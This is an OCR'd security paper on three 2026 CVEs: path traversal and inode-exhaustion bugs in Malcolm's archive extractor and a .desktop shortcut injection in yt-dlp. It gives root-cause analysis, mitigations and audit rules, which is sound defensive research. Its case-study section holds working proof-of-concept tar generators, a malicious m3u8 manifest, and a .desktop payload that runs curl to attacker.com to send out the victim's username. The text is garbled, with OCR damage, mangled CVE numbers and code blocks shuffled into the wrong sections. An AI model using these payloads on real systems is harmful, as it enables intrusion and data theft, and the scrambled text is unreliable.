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Abstract—Applications treat names, paths, and ex-
tensions carried inside archive manifests and download
metadata as if the application had chosen them. It
did not. A tar entry pathname, an HLS subtitle URI,
a shortcut extension, each is attacker-controlled, and
each is later used verbatim as a filesystem decision.
We study three 2026 CVEs that share this structure.
CVE-2026-63134 (CISA Malcolm, CVSS 5.4) is a di-
rectory traversal in which directory entries skip the
path guard that file entries pass, and os.path. join(dest,
"/tmp/x") evaluates to /tmp/x because Python discards
every argument before an absolute component, so the
destination silently vanishes. CVE-2026-63133 (CVSS
6.5) is an inode-exhaustion denial of service in the same
extractor: a ~50 KB archive of 50,000 empty directory
entries creates 50,000 inodes in 2.2 s at an amplification
of 1.0 inode per compressed byte, and a depth-axis
variant produces many inodes from one entry. CVE-
2026-50023 (yt-dlp, CVSS 8.3) is executable-shortcut
injection: a permission scoped to the -write-link fea-
ture was hoisted to a global extension allowlist, so a
subtitle track whose URI ends in .desktop writes an ex-
ecutable shortcut under -write-subs. The unifying class
is trusting attacker-controlled filesystem metadata, and
the cross-cutting root cause is a guard/sink mismatch:
the security predicate is applied to one representation
or context and omitted at a semantically equivalent
sink. We give the exact code, payloads, and measured
numbers, and ship three static audit rules.

Index Terms—path traversal, zip slip, decompression
bomb, inode exhaustion, allowlist, confused deputy, yt-
dlp

I. INTRODUCTION

An extractor holds filesystem authority. It may write
inside a destination directory, or into a user’s download
folder. The names it writes to come from the archive or the
manifest, which the attacker controls. When the extrac-
tor uses those names without confining them, untrusted
metadata induces a privileged component to exercise its
authority where the operator never intended. This is the
confused deputy [1], in file-write clothing,.

We examine three instances that look unrelated and are
not. All three route a benign-looking string field, a tar en-
try name, an HLS EXT-X-MEDIA URI, an output extension,
into os.makedirs, an extract loop, or a file writer. Each
produces a different effect, path traversal, amplification
denial of service, executable-shortcut injection, from the
same trust gap between a name the program chose and a
name the input supplied.

Contributions:

e A unifying “untrusted filesystem-metadata” class and
its guard/sink-mismatch root cause.

e The  absolute-path  os.path.join  primitive
as a traversal vector distinct from
os.path. join("/safe/dest", "/tmp/evil")
== "/tmp/evil" discards the destination entirely.

o A formal amplification analysis with two axes and real
ext4 exhaustion numbers.

e The allowlist-scope-hoist anti-pattern, where the fix
for one CVE becomes the attack surface of the next.

¢ Three shippable static audit rules.

We state the scope limits plainly. CVE-2026-63134 creates
directories, not arbitrary file content, so it is a pipeline-
disruption and staging primitive, not direct code execu-
tion. CVE-2026-50023 is user-assisted; it needs a double-
click. CVE-2026-63133 is availability-only. Reviewers pun-
ish overclaiming, and these limits are real.

II. BACKGROUND

Archive formats distinguish entry types. A tar entry is
FILE, DIRTYPE, symlink, and so on, and a secure extractor
may apply different handling per type. That per-type
split is where CVE-2026-63134 lives. libarchive secure
flags implement the standard zip-slip defense [2]: strip . .,
reject absolute paths, block symlink escapes. The Python
tarfile traversal weakness (CVE-2007-4559) and its 2022
rediscovery across hundreds of thousands of repositories
motivated the language-level extraction filters [3], [4], and
the same class resurfaced in Keras [5] and npm tar [6].

Two CPython  behaviors  are  load-bearing.
os.path.join discards every argument before an
absolute component, so a single absolute entry name
overrides the destination; this is documented posixpath
semantics, not a bug. And os.makedirs creates all
missing intermediate directories for a path, so one deep
entry yields many inodes. On ext4 the default is one inode
per 16 KB of disk (bytes-per-inode = 16384); the table
is fixed at format time, and disk-space quotas do not
bound it, which is why inode exhaustion is orthogonal
to byte exhaustion. Decompression denial of service in
network services is prior art [7]-[9], though that work
measures byte and CPU amplification rather than inodes.

The download case involves HLS. An EXT-X-MEDIA tag
names a subtitle track by URI, and yt-dlp derives the out-



put extension from that remote metadata. The freedesktop
.desktop format executes its Exec= field on activation
with no execute-bit requirement, a technique used in the
wild by APT36 [15].

III. THREAT MODEL

All three cross a filesystem-authority boundary using
attacker-supplied metadata, and all three assume the
parser is trusted infrastructure while the container is
attacker-chosen.

Case (a), CVE-2026-63134. Any authenticated
user who can reach Malcolm’s filepond /upload/
endpoint, available to standard analyst accounts, so
low-privilege authenticated, no admin. Capability:
craft an arbitrary tar or zip and POST it with a
valid session cookie. The entry pathname crosses into
os.makedirs(os.path. join(dest, entry.pathname))
running with filebeat container privileges. File entries are
protected by libarchive secure flags; directory entries are
not, and the attacker needs only directory entries. Impact
ceiling: directory creation anywhere the filebeat container
can write, enough to hijack pipeline paths, pre-create
mount points, break ingestion, or stage a follow-on.

Case (b), CVE-2026-63133. Identical precondition,
one authenticated low-privilege upload of a single ~50 KB
archive. The archive declares an object count and depth;
the extractor creates that many inodes with no aggregate
budget. Impact ceiling: inode-table exhaustion on the
shared mount, whose blast radius is every container and
service sharing the mount, not just Malcolm.

Case (c), CVE-2026-50023. The victim runs yt-dlp
against an attacker-influenced URL or a seeded manifest;
-write-subs is a common benign flag and the victim does
not need -write-link. Capability: host an m3u8 manifest
plus a payload file. The subtitle URI determines the out-
put extension, which the global sanitizer allowlist wrongly
blesses. Impact ceiling: write an executable OS shortcut
into the victim’s working directory; execution needs a
double-click, so this is user-assisted code execution. The
asymmetry from the Malcolm cases: here the boundary
is the download destination on the victim’s own machine,
and the metadata source is a remote server rather than an
uploaded archive.

IV. METHODOLOGY

Each was found by auditing the guard against the sink,
not by fuzzing. For 63134, tracing both extraction code
paths showed the directory branch reaching os.makedirs
without the confinement check the file branch runs. For
63133, the same loop was read for an aggregate counter
and had none. For 50023, auditing the CVE-2024-38519
patch [14] and then pivoting from direct input to indirect
metadata revealed that the allowlist blessing was global
while the intended scope was per-feature. The recurring
technique is “audit the fix”: the previous patch narrowed
one class and its boundary is where the next bug sits.

V. ANALYSIS AND FORMALIZATION
A. Case (a): the absolute-path divergence

Two extraction paths process the same untrusted entry
set under two trust models. Let dest be the destina-
tion and p the entry pathname. File entries go through
libarchive with secure flags, a guard G(dest,p) that ac-
cepts only if realpath(dest/p) is within dest, stripping

., rejecting absolute paths, blocking symlink escapes.
Directory entries go through

if entry.isdir:
os.makedirs(os.path.join(dest, entry.pathname),
exist_ok=True)

with no guard, so the effective path is J(dest,p) =
os.path. join(dest, p). J and G disagree on two input
classes. Relative traversal, p = "../../../../tmp/x":
realpath resolves above dest; G rejects, J
accepts. Absolute injection, p = "/tmp/x":
os.path.join("/safe/dest", "/tmp/evil") ==
"/tmp/evil", the destination vanishes; G would reject
an absolute path, J silently honors it. The minimal
divergence input is one tar entry with type DIRTYPE and
name "/tmp/absolute_escape/": the file-path guard
never runs on it because it is a directory entry. The root
cause is a type-dependent guard, the predicate is applied
to FILE entries and omitted for DIR entries, even though
both reach a filesystem-mutating sink.

B. Case (b): amplification, computed

Define amplification A =
(filesystem objects created)/(archive bytes on the wire).
The advisory’s measured point: 50,000 empty directory
entries, ~50KB compressed, extracted in 2.2s, 50,000
inodes created. An empty directory entry costs one
512-byte tar header and no data blocks, so 50,000
entries are 50,000 x 512 = 25.6MB uncompressed;
gzip on names like dir_000000/ through dir_049999/
is near-perfectly compressible, observed 25.6MB to
~50KB, about 512:1. The object-per-byte amplification
is A = 50,000inodes/50,000bytes = 1.0 inode per
compressed byte.

Two axes exist. On the breadth axis each entry costs
~1 compressed byte and yields 1 inode, so Apreadth =~ 1
inode/byte. On the depth axis one entry named a/a/. ../a
of depth D causes os.makedirs to create all D missing
intermediate directories from a single entry, and because
the repeated component compresses away, Agepth SrOws
without bound in D. The depth axis is the stronger
primitive and the attacker is not limited to one inode per
entry.

Exhaustion target: ext4 default bytes-per-inode is
16384, and Malcolm’s documented /storage partition is
916 GB, giving 916 x 10/16384 ~ 55.9 million inodes. At
Abreadth &~ 1 inode/byte, exhausting it via breadth needs
~55.9MB compressed, trivially inside any sane upload
cap; via depth it needs far less. Because empty directories




consume negligible bytes, byte-quota defenses do not catch
it. Once the table is full, every service on the mount fails
with ENOSPC despite free bytes.

C. Case (c): allowlist-scope divergence

Model the sanitizer as S(ext), “extension ext may be
written.” CVE-2024-38519 replaced a denylist with an
allowlist. To keep -write-1link working, the allowlist was
defined globally as ALLOW = {media/subtitle exts} U
{.desktop, .url, .webloc}. The intended semantics were
context-scoped: Sintended (€2t, ctz) = ext € MEDIA for
normal downloads, and ext € MEDIA U SHORTCUTS
only when ctz = write_link. The implemented seman-
tics dropped the context: Siypi(ext) = ext € ALLOW
for all contexts. So Simpi(.desktop) = True while
Sintended ( - desktop,download) = False. A permission
scoped to one feature was hoisted to a global check ev-
ery write path inherits. The extension is attacker-chosen
because the HLS EXT-X-MEDIA URI sets it, so the di-
vergence input is a manifest whose subtitle URI ends in
a shortcut extension, downloaded under -write-subs, a
context where Sintended says No but Simpi says Yes. This
is structurally the zip-slip-regression pattern of npm tar
[6]: each patch narrows one class and reopens an adjacent
one.

VI. CASE STUDIES

A. CVE-2026-6313/

Vulnerable line:

Observed: directories created at /tmp/malcolm_pwned/
and /tmp/absolute_escape/, both outside the
destination, with filebeat privileges. Fix (v26.07.0):
resolve with os.path.realpath, verify prefix with
os.path.commonpath, abort otherwise, applied to
directories and files alike. Affected < v26.06.1. CVSS 5.4,
CWE-22 with CWE-36.

B. CVE-2026-65133

Vulnerable loop, no aggregate limit:

for entry in a:
if entry.isdir:
os.makedirs(os.path.join(dest, entry.pathname),
exist_ok=True)

No max entry count, no cumulative size, no depth limit,
no inode budget. Trigger:

import tarfile, io
with tarfile.open(’inode_bomb.tar.gz’, ’w:gz’) as tar:
for i in range(50000):
info = tarfile.TarInfo(name=f’dir_{i:06d4}/’)
info.type = tarfile.DIRTYPE
tar.addfile(info)

if entry.isdir:
os.makedirs(os.path.join(dest, entry.pathname),
exist_ok=True)

The documented behavior that makes it exploitable, ver-
batim:

Result: ~50 KB compressed, 50,000 directory entries. De-
livery is the same filepond POST. Observed: 50,000 direc-
tories in ~2.25; scaled linearly, df -i shows 0 free inodes
and every service on the mount fails with “No space left
on device.” Fix (v26.07.0): extraction limits on entry count
and cumulative size. Affected < v26.06.1. CVSS 6.5, CWE-
400 with CWE-409.

C. CVE-2026-50023

Malicious manifest payload.m3u8:

import os

dest = "/safe/extraction/dir"

print(os.path.join(dest, "../../../../tmp/evil/"))

# Output: /safe/extraction/dir/../../../../tmp/evil/ (
realpath resolves ABOVE dest)

print (os.path.join(dest, "/tmp/evil/"))

# Output: /tmp/evil/ (
destination DISCARDED)

#EXTM3U
#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs" ,NAME="Sub" ,URI
="http://attacker.com/rev.desktop"

Payload rev.desktop:

[Desktop Entry]
Type=Application
Exec=curl http://attacker.com/exfil?pwned=$(whoami)

Trigger archive:

Victim command:

yt-dlp --write-subs http://attacker.com/payload.m3u8

import tarfile

with tarfile.open(’traversal.tar.gz’, ’w:gz’) as tar:
info = tarfile.TarInfo(name=’../../../../tmp/
malcolm_pwned/’)
info.type = tarfile.DIRTYPE
tar.addfile(info)
info2 = tarfile.TarInfo(name=’/tmp/absolute_escape/’)
info2.type = tarfile.DIRTYPE
tar.addfile(info2)

Delivery:

curl -X POST https://<malcolm>/upload/ -H "Cookie: <valid-
session>" -F "filepond=Qtraversal.tar.gz"

Observed: yt-dlp fetches the URI content, the sanitizer
checks .desktop, finds it on the global allowlist, and
writes rev.desktop to the working directory; a double-
click executes the payload, and file managers that hide
known extensions display it as a subtitle. Fix (2026.06.09):
remove .url, .desktop, .webloc from the global allowlist
and permit them only inside the -write-link context;
remediation by Grub4K, review by bashonly. This is a con-
firmed bypass of CVE-2024-38519 [14], whose 2024.07.01
fix introduced the allowlist. CVSS 8.3, CWE-668 with the
allowlist-scope error.




VII. MITIGATION

Per case. For 63134, never pass untrusted input as the
second argument of os.path. join; canonicalize and con-
fine, final = os.path.realpath(os.path.join(dest,
p)); assert os.path.commonpath([final,
os.path.realpath(dest)]) ==
os.path.realpath(dest), applied to directories and files
identically, rejecting absolute p before the join. For 63133,
enforce aggregate budgets before and during extraction,
max entry count, max cumulative uncompressed bytes,
max path depth, and an inode budget, aborting on
breach; an io.LimitedReader-style cap for the byte axis
and a running counter for the inode axis. For 50023,
scope permissions to context, not globally: an extension
allowed only for -write-link must be checked with
the write_link flag in scope, never hoisted to a global
predicate.

The cross-cutting rule: any predicate that guards a
filesystem sink must guard every representation and
every context that reaches that sink. Three static
rules follow and ship as an artifact. First, flag any
os.path.join(trusted_base, x) where x is tainted by
archive or download metadata and the result flows to
os.makedirs, open(..., ’w’), shutil, or os.rename
without an intervening realpath-plus-commonpath con-
finement check. Second, flag any allowlist predicate whose
membership set is a union of per-feature sets but whose
call sites do not carry the feature flag. Third, flag any
extraction loop with no monotonic counter bounded by a
constant. All three are grep-able and suit a Semgrep or
CodeQL rule pack.

VIII. RELATED WORK

Archive-extraction traversal is the immediate lineage:
zip slip across many ecosystems [2], the tarfile traversal
and its rediscovery [3], the extraction-filter mitigation [4],
and same-bug resurfacing in Keras [5] and npm tar [6]
that supports the “patch becomes new surface” thesis.
Decompression and resource denial of service is prior art
for case (b) [7]-]9], though focused on byte and CPU am-
plification rather than inodes. The guard/sink and parser-
differential framing borrows from the confused deputy [1]
and HTTP parser-divergence work [10]—[13]. The yt-dlp
lineage and shortcut-file abuse ground case (c) [14], [15].

IX. CONCLUSION

A name inside an archive or a manifest is input, not
a decision the program made. The three CVEs differ in
effect but share one invariant violation: a predicate that
guards a filesystem sink was applied to one representation
or context and skipped at a semantically equivalent one.
Guard every representation and every context that reaches
the sink, and the absolute-path join, the inode bomb, and
the shortcut write all close together.
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